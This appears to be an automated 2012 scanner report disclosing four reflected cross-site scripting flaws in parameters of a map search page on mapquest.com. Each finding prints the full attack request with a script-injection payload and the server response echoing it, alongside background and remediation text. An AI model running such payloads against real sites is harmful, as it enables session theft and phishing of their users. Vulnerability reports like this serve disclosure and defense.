Report generated by XSS.Cx at Sat Sep 01 08:40:08 EDT 2012.

XSS, Reflected Cross Site Scripting, CWE-79, CAPEC-86, www.mapquest.com

Loading

1. Cross-site scripting (reflected)

1.1. http://www.mapquest.com/maps/map.adp [address parameter]

1.2. http://www.mapquest.com/maps/map.adp [cat parameter]

1.3. http://www.mapquest.com/maps/map.adp [country parameter]

1.4. http://www.mapquest.com/maps/map.adp [name parameter]



1. Cross-site scripting (reflected)
There are 4 instances of this issue:

Issue background

Reflected cross-site scripting vulnerabilities arise when data is copied from a request and echoed into the application's immediate response in an unsafe way. An attacker can use the vulnerability to construct a request which, if issued by another application user, will cause JavaScript code supplied by the attacker to execute within the user's browser in the context of that user's session with the application.

The attacker-supplied code can perform a wide variety of actions, such as stealing the victim's session token or login credentials, performing arbitrary actions on the victim's behalf, and logging their keystrokes.

Users can be induced to issue the attacker's crafted request in various ways. For example, the attacker can send a victim a link containing a malicious URL in an email or instant message. They can submit the link to popular web sites that allow content authoring, for example in blog comments. And they can create an innocuous looking web site which causes anyone viewing it to make arbitrary cross-domain requests to the vulnerable application (using either the GET or the POST method).

The security impact of cross-site scripting vulnerabilities is dependent upon the nature of the vulnerable application, the kinds of data and functionality which it contains, and the other applications which belong to the same domain and organization. If the application is used only to display non-sensitive public content, with no authentication or access control functionality, then a cross-site scripting flaw may be considered low risk. However, if the same application resides on a domain which can access cookies for other more security-critical applications, then the vulnerability could be used to attack those other applications, and so may be considered high risk. Similarly, if the organization which owns the application is a likely target for phishing attacks, then the vulnerability could be leveraged to lend credibility to such attacks, by injecting Trojan functionality into the vulnerable application, and exploiting users' trust in the organization in order to capture credentials for other applications which it owns. In many kinds of application, such as those providing online banking functionality, cross-site scripting should always be considered high risk.

Remediation background

In most situations where user-controllable data is copied into application responses, cross-site scripting attacks can be prevented using two layers of defenses:In cases where the application's functionality allows users to author content using a restricted subset of HTML tags and attributes (for example, blog comments which allow limited formatting and linking), it is necessary to parse the supplied HTML to validate that it does not use any dangerous syntax; this is a non-trivial task.


1.1. http://www.mapquest.com/maps/map.adp [address parameter]  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.mapquest.com
Path:   /maps/map.adp

Issue detail

The value of the address request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload cfa20</script><script>alert(1)</script>4d63ca9a3ff was submitted in the address parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /maps/map.adp?searchtype=address&country=US&addtohistory=&searchtab=home&formtype=address&popflag=0&latitude=&longitude=&name=&phone=&level=&cat=&address=10731+Treena+Street%2C+Suite+200cfa20</script><script>alert(1)</script>4d63ca9a3ff&city=San+Diego&state=CA&zipcode=92131 HTTP/1.1
Host: www.mapquest.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response (redirected)

HTTP/1.1 200 OK
Server: Apache-Coyote/1.1
Set-Cookie: t_Id=ZGVmYXVsdDpudWxs; Path=/
Set-Cookie: tsession="JSKdyzmqkEk8hQDtKEJ6u6Aaqw0="; Version=1; Domain=mapquest.com; Max-Age=1800; Expires=Mon, 05-Mar-2012 02:17:19 GMT; Path=/
Set-Cookie: tsexpiry=1; Domain=mapquest.com; Expires=Mon, 05-Mar-2012 02:02:19 GMT; Path=/
Set-Cookie: psession="RXe2ZPgRaP700iiLr+ws7yEv0+U="; Version=1; Domain=mapquest.com; Max-Age=7776000; Expires=Sun, 03-Jun-2012 01:47:19 GMT; Path=/
Set-Cookie: c_Id=MjY2OjQyOA%3D%3D; Expires=Mon, 05-Mar-2012 02:17:19 GMT; Path=/
Expires: -1
Cache-Control: private, max-age=0
Content-Type: text/html;charset=UTF-8
Content-Language: en-US
Date: Mon, 05 Mar 2012 01:47:19 GMT
Content-Length: 46606

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" dir="ltr" lang="en" xml:lang="en" c
...[SNIP]...
alse,"latchQuery":null,"locale":"en","mapState":null,"mostPopularCategory":null,"navSicsCode":null,"navSicsName":null,"osmFeatureType":null,"page":0,"position":0,"query":"10731 Treena Street, Suite 200cfa20</script><script>alert(1)</script>4d63ca9a3ff, Sai Tau Wai, HONG KONG 92131 CN","routeContext":null,"routeSessionId":null,"searchAroundLocation":null,"searchTerm":"","searchType":"onMap","shapePoints":null,"showDetails":false,"sortType":"relevanc
...[SNIP]...

1.2. http://www.mapquest.com/maps/map.adp [cat parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.mapquest.com
Path:   /maps/map.adp

Issue detail

The value of the cat request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 35801</script><script>alert(1)</script>b8545aac1bf was submitted in the cat parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /maps/map.adp?searchtype=address&country=US&addtohistory=&searchtab=home&formtype=address&popflag=0&latitude=&longitude=&name=&phone=&level=&cat=35801</script><script>alert(1)</script>b8545aac1bf&address=10731+Treena+Street%2C+Suite+200&city=San+Diego&state=CA&zipcode=92131 HTTP/1.1
Host: www.mapquest.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response (redirected)

HTTP/1.1 200 OK
Server: Apache-Coyote/1.1
Set-Cookie: t_Id=ZGVmYXVsdDpudWxs; Path=/
Set-Cookie: tsession="leVmDx/SIcre4ytd2Bgie1F5G60="; Version=1; Domain=mapquest.com; Max-Age=1800; Expires=Mon, 05-Mar-2012 02:16:57 GMT; Path=/
Set-Cookie: tsexpiry=1; Domain=mapquest.com; Expires=Mon, 05-Mar-2012 02:01:57 GMT; Path=/
Set-Cookie: psession="Yb0G5/uHaD69RmcRmffX42yophs="; Version=1; Domain=mapquest.com; Max-Age=7776000; Expires=Sun, 03-Jun-2012 01:46:57 GMT; Path=/
Set-Cookie: c_Id=MjY2OjQyOA%3D%3D; Expires=Mon, 05-Mar-2012 02:16:57 GMT; Path=/
Expires: -1
Cache-Control: private, max-age=0
Content-Type: text/html;charset=UTF-8
Content-Language: en-US
Date: Mon, 05 Mar 2012 01:46:58 GMT
Content-Length: 62423

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" dir="ltr" lang="en" xml:lang="en" c
...[SNIP]...
tBizCategory":null,"featBizCitySearchInfo":null,"gasPrices":null,"hotelHighPrice":null,"hotelLowPrice":null,"id":null,"inputQuery":{"bestFitIndex":4,"categories":null,"charFilter":null,"displayQuery":"35801</script><script>alert(1)</script>b8545aac1bf","domain":null,"gasPriceType":null,"inflectionPointIndex":4,"latch":false,"latchQuery":"","locale":"en","mapState":null,"mostPopularCategory":"Doctors","navSicsCode":null,"navSicsName":null,"osmFeatur
...[SNIP]...

1.3. http://www.mapquest.com/maps/map.adp [country parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.mapquest.com
Path:   /maps/map.adp

Issue detail

The value of the country request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload c7d64</script><script>alert(1)</script>b4d1059ae32 was submitted in the country parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /maps/map.adp?searchtype=address&country=USc7d64</script><script>alert(1)</script>b4d1059ae32&addtohistory=&searchtab=home&formtype=address&popflag=0&latitude=&longitude=&name=&phone=&level=&cat=&address=10731+Treena+Street%2C+Suite+200&city=San+Diego&state=CA&zipcode=92131 HTTP/1.1
Host: www.mapquest.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response (redirected)

HTTP/1.1 200 OK
Server: Apache-Coyote/1.1
Set-Cookie: t_Id=ZGVmYXVsdDpudWxs; Path=/
Set-Cookie: tsession="9BFQWEy+6/VKrmS05KJBI5st7X4="; Version=1; Domain=mapquest.com; Max-Age=1800; Expires=Mon, 05-Mar-2012 02:15:12 GMT; Path=/
Set-Cookie: tsexpiry=1; Domain=mapquest.com; Expires=Mon, 05-Mar-2012 02:00:12 GMT; Path=/
Set-Cookie: psession="j9Qv4T04G9x68g50PcvRIsrbLQA="; Version=1; Domain=mapquest.com; Max-Age=7776000; Expires=Sun, 03-Jun-2012 01:45:12 GMT; Path=/
Set-Cookie: c_Id=MjY2OjQyOA%3D%3D; Expires=Mon, 05-Mar-2012 02:15:12 GMT; Path=/
Expires: -1
Cache-Control: private, max-age=0
Content-Type: text/html;charset=UTF-8
Content-Language: en-US
Date: Mon, 05 Mar 2012 01:45:12 GMT
Content-Length: 46547

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" dir="ltr" lang="en" xml:lang="en" c
...[SNIP]...
chQuery":null,"locale":"en","mapState":null,"mostPopularCategory":null,"navSicsCode":null,"navSicsName":null,"osmFeatureType":null,"page":0,"position":0,"query":"10731 Treena St, San Diego, CA 92131 USC7D64</SCRIPT><SCRIPT>ALERT(1)</SCRIPT>B4D1059AE32","routeContext":null,"routeSessionId":null,"searchAroundLocation":null,"searchTerm":null,"searchType":"onMap","shapePoints":null,"showDetails":false,"sortType":"relevance","total":0},"name":null,"note
...[SNIP]...

1.4. http://www.mapquest.com/maps/map.adp [name parameter]  previous

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.mapquest.com
Path:   /maps/map.adp

Issue detail

The value of the name request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload afbe9</script><script>alert(1)</script>d3b68c175ea was submitted in the name parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /maps/map.adp?searchtype=address&country=US&addtohistory=&searchtab=home&formtype=address&popflag=0&latitude=&longitude=&name=afbe9</script><script>alert(1)</script>d3b68c175ea&phone=&level=&cat=&address=10731+Treena+Street%2C+Suite+200&city=San+Diego&state=CA&zipcode=92131 HTTP/1.1
Host: www.mapquest.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response (redirected)

HTTP/1.1 200 OK
Server: Apache-Coyote/1.1
Set-Cookie: t_Id=ZGVmYXVsdDpudWxs; Path=/
Set-Cookie: tsession="8VV9xJfi1XMKkydqQ1ZPvADLakc="; Version=1; Domain=mapquest.com; Max-Age=1800; Expires=Mon, 05-Mar-2012 02:16:39 GMT; Path=/
Set-Cookie: tsexpiry=1; Domain=mapquest.com; Expires=Mon, 05-Mar-2012 02:01:39 GMT; Path=/
Set-Cookie: psession="6XBGlNdSDuKmDmC0/dL5tsYDNFo="; Version=1; Domain=mapquest.com; Max-Age=7776000; Expires=Sun, 03-Jun-2012 01:46:39 GMT; Path=/
Set-Cookie: c_Id=MjY2OjQyOA%3D%3D; Expires=Mon, 05-Mar-2012 02:16:39 GMT; Path=/
Expires: -1
Cache-Control: private, max-age=0
Content-Type: text/html;charset=UTF-8
Content-Language: en-US
Date: Mon, 05 Mar 2012 01:46:39 GMT
Content-Length: 46785

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" dir="ltr" lang="en" xml:lang="en" c
...[SNIP]...
tBizCategory":null,"featBizCitySearchInfo":null,"gasPrices":null,"hotelHighPrice":null,"hotelLowPrice":null,"id":null,"inputQuery":{"bestFitIndex":0,"categories":null,"charFilter":null,"displayQuery":"afbe9</script><script>alert(1)</script>d3b68c175ea","domain":null,"gasPriceType":null,"inflectionPointIndex":0,"latch":false,"latchQuery":"","locale":"en","mapState":null,"mostPopularCategory":null,"navSicsCode":null,"navSicsName":null,"osmFeatureType
...[SNIP]...

Report generated by XSS.Cx at Sat Sep 01 08:40:08 EDT 2012.